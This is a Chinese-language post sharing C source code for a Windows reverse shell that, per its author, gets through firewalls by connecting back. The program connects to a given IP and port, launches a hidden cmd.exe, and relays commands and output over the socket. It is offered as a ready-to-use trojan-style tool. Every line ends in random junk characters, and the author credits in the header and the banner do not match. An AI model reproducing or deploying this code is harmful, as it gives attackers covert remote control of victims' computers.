这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 KUfk5Y
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/* ============================== )>)_>[
Rebound port in Windows NT Cm;WQuv@
By wind,2006/7 ;6o p|
===============================*/ 2#nn}HEOC
#include LB1.N!q1
#include 9-+6Ed^2
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#pragma comment(lib,"wsock32.lib") p&F=<<C
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void OutputShell(); _4z>I/R>Z
SOCKET sClient; K<b -|t9f
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zxCxGT\;
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void main(int argc,char **argv) %D z|p]49!
{ %ma1LN[
WSADATA stWsaData; XcA4EBRj
int nRet; @ :i>q$aF
SOCKADDR_IN stSaiClient,stSaiServer; J=/|iW
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if(argc != 3) voaRh@DZ%/
{ F!VC19<1O8
printf("Useage:\n\rRebound DestIP DestPort\n"); 17G7r\iNYq
return; $Q|66/S^
} Nuk\8C
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]?U:8%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p/WEQ2
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stSaiClient.sin_family = AF_INET; ~K^Z4
stSaiClient.sin_port = htons(0); 6^['g-\2
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pTmG\wA~$
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +bd/*^
{ MQ"<r,o?:
printf("Bind Socket Failed!\n"); cGC&O%`i,\
return; A20_a;V
} .+aSa?h_
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stSaiServer.sin_family = AF_INET; 0; OpT0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NF0} eom
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2P9h x5PiV
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9F kwtF
{ b/]C,P
printf("Connect Error!"); 33couAP#
return; }?>30+42:
} }(J6zo9(x
OutputShell(); 1S\q\kz->D
} yA(H=L-=!1
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void OutputShell() &nj@t>5Bs$
{ $|z8WCJ
char szBuff[1024]; =bf-+gZD
SECURITY_ATTRIBUTES stSecurityAttributes; ~v9\4O
OSVERSIONINFO stOsversionInfo; a&ZH
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Czb@:l%sc
STARTUPINFO stStartupInfo; P 2;j>=W
char *szShell; g;=jZ
PROCESS_INFORMATION stProcessInformation; ep[7#\}5
unsigned long lBytesRead; SL:o.g(>4
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !e.@Xk.P6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nb22bXt
stSecurityAttributes.lpSecurityDescriptor = 0; n7X3aoVV
stSecurityAttributes.bInheritHandle = TRUE; ?mRU9VY
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :!3CoC.X|c
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u&bo32fc
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u-j$4\'
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tb&{[|O^
stStartupInfo.wShowWindow = SW_HIDE; w{K_+}fAC
stStartupInfo.hStdInput = hReadPipe; GC$Hp!H
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; V'^s5
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GetVersionEx(&stOsversionInfo); d'^jekh
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switch(stOsversionInfo.dwPlatformId) lGjmw"/C
{ Hc^b}A y7
case 1: lh~!cOm\=E
szShell = "command.com"; 7u\^$25+h
break; ZxbWgM5rm
default: v8
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szShell = "cmd.exe"; 49_b)K.tB
break; ] 2FS=
} "]5]"F 4]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )"A+T&
C#>c(-p>RC
send(sClient,szMsg,77,0); zWB>;Z}
while(1) N}VKH5U|
{ 3HFsR)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); RH6qi{)i!
if(lBytesRead) WZ@nuK.39T
{ #\@*C=
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E;D9S
send(sClient,szBuff,lBytesRead,0); e][U ;
} : B$
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else v~ZdMQvwt
{ '`\\O:@C`
lBytesRead=recv(sClient,szBuff,1024,0); t%q@W,2J
if(lBytesRead<=0) break; }LDDm/$^}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); DDc?GY:
} ,t5Ku)eNm
} 8WZM}3x$f{
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return; d1``}naNw
}